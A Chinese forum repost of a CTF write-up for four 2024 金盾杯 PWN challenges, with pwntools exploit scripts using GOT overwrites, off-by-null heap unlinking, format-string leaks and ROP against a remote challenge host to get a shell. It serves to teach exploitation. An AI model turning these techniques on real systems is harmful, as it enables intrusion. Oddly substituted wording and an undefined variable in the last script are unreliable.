[金盾杯 2024] PWN 复现

打印 上一主题 下一主题

主题 770|帖子 770|积分 2310

好长时间不作题了,在复现平台上看到这个比赛,作了一下,题过于简单了。不外暗码一言难尽。
Orange

要说libc-2.23有多老,我一开始学PWN的时候还有不少,这两年几乎不见了。一些比赛估计是拿的旧题。
远看像个堆题,有add,edit,show但没有free。后来搜了下网上的WP也是当堆题作的。但我感觉不是。至少跟堆没大关系。
在bss里存的list在16个指针后边是chunk_size.在edit时要求重新输入size这里就有个溢出。而最大问题是edit和show都可以输入index:16也就是指针溢出1.
以是这里可以不用堆来处理。由于PIE没开,建一个size= 0x602050地块,这个size就落在list[16]的位置。这时候show它一下就能得到libc不外也没啥用,因为标题有后门直接把这写成后门就成了。由于是后门不需要参数,以是可改的范围很大,这里改的是malloc,改别的也可以。
  1. from pwn import *
  2. context(arch='amd64', log_level='debug')
  3. #p = process('./Orange')
  4. p = remote('gz.imxbt.cn', 20366)
  5. #add size = elf.got.malloc
  6. p.sendlineafter(b"Please enter your choice>>", b'1')
  7. p.sendlineafter(b"input your note size", str(0x602050).encode())
  8. p.sendafter(b"input your note", b'A')
  9. #edit got.malloc->backdoor
  10. p.sendlineafter(b"Please enter your choice>>", b'2')
  11. p.sendlineafter(b'input note index\n', b'16')
  12. p.sendlineafter(b"input your note size", str(8).encode())
  13. p.sendafter(b"input your note", p64(0x400987))
  14. #call malloc
  15. p.sendlineafter(b"Please enter your choice>>", b'1')
  16. p.sendlineafter(b"input your note size", str(0x602050).encode())
  17. p.sendline(b"cat flag")
  18. p.interactive()
复制代码
babyheap

还是上边这个题,把size这块给堵上了。但给了free。这里free清理了指针,但在edit时用read_int函数会多写入1个\0
这个就是传统的unsort unlink,这堆题无非就是能修改不让改的地方。造重叠块是一个告急方法。2.23这东西检查不多。先释放一个块到unsort再把后边的pre_size和pre_inuse改了用off_by_null 。然后因为pie没开就直接把块建到指针区上,后边就直接改东西了。
这回改的是atoi
  1. from pwn import *
  2. context(arch='amd64', log_level='debug')
  3. elf = ELF('./babyheap')
  4. libc = ELF('./libc-2.23.so')
  5. #read_input off by null
  6. def add(size,msg=b'\n'):
  7.     p.sendlineafter(b'Choose an option >> ', b'1')
  8.     p.sendlineafter(b"How much do you want", str(size).encode())
  9.     p.sendafter(b"Enter something?", msg)
  10. def edit(idx,msg):
  11.     p.sendlineafter(b'Choose an option >> ', b'2')
  12.     p.sendlineafter(b"input index", str(idx).encode())
  13.     p.sendafter(b"Enter something?", msg)
  14. def show(idx):
  15.     p.sendlineafter(b'Choose an option >> ', b'3')
  16.     p.sendlineafter(b"Give me a index.Let you see see\n", str(idx).encode())
  17. def free(idx):
  18.     p.sendlineafter(b'Choose an option >> ', b'4')
  19.     p.sendlineafter(b"input index", str(idx).encode())
  20. #p = process('./babyheap')
  21. p = remote('gz.imxbt.cn', 20377)
  22. add(0x80)
  23. add(0x68)
  24. add(0xf8)
  25. add(0x18)
  26. # 1:free->unsort
  27. free(0)
  28. # 2:edit pre_size,pre_inused
  29. edit(1, b'\0'*0x60 + p64(0x100))
  30. # 3:free->forward
  31. free(2)
  32. free(1)
  33. add(0xa0, b'\0'*0x88+flat(0x71, 0x6020a0-3)+b'\n')
  34. add(0x68)
  35. add(0x68, b'\0'*3 + flat(0,0,0x6020d0,0x602140, elf.got['atoi'], elf.got['puts'])+b'\n')
  36. show(3)
  37. libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
  38. print(f"{libc.address = :x}")
  39. edit(2, p64(libc.sym['system']))
  40. p.sendline(b'/bin/sh\0')
  41. p.sendline(b"cat flag")
  42. p.interactive()
复制代码
green

这比赛不但有2.23还有32的题。
这题主体是gets-printf-gets 两个伤害函数都有了,printf可以得到所有想要的值。主要是canary后边gets就能溢出去写ROP了。
标题可能原先是在环境变量里放flag而复现平台上是文件。以是作法应该不一样。
原来是先泄露canary和加载地址然后调用check...就行了。后来需要泄露libc查libc版本。是个2.35的显然是后配上的。
  1. from pwn import *
  2. context(arch='i386', log_level='debug')
  3. elf = ELF('./green')
  4. libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
  5. #p = process('./green')
  6. p = remote('gz.imxbt.cn', 20382)
  7. p.sendlineafter(b"Every protection is enabled. Good luck.\n", b"%15$p %19$p %23$p ")
  8. canary = int(p.recvuntil(b' '),16)
  9. elf.address = int(p.recvuntil(b' '),16) - (0x1365+77)
  10. libc.address = int(p.recvuntil(b' '),16) - 0x21519 #0x23295
  11. print(f"{canary = :x} {elf.address = :x} {libc.address = :x}")
  12. #1 not found
  13. pop = elf.address + 0x1224
  14. #p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, elf.sym['check1'],pop, 4919, elf.sym['check2'],pop,1056, elf.sym['check3'],pop,0xDEADBEEF, elf.sym['finalcheck'],pop, 291))
  15. #get version
  16. #p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, elf.sym['func']))
  17. #p.sendlineafter(b"Every protection is enabled. Good luck.\n", b"%8$s"+p32(elf.got['printf']))
  18. #p.recvline()
  19. bin_sh = libc.address + 0x1b90d5
  20. system = libc.address + 0x47cd0
  21. p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, system,0, bin_sh))
  22. p.sendline(b'cat flag')
  23. p.interactive()
复制代码
stackmigration

read有个溢出,恰好溢出到返回地址。而且泄露了栈地址。只要移栈到开头调用下system就行。
  1. from pwn import *
  2. context(arch='amd64', log_level='debug')
  3. p = remote('gz.imxbt.cn', 20398)
  4. p.recvuntil(b'gift:')
  5. stack = int(p.recvline(),16)
  6. print(f"{stack = :x}")
  7. pop_rdi = 0x400963
  8. leave_ret = 0x400896
  9. p.sendafter(b"?\n", flat(pop_rdi, stack+0x18,elf.plt['system'],b'/bin/sh\0', stack-0x8, leave_ret))
  10. p.interactive()
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张国伟

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表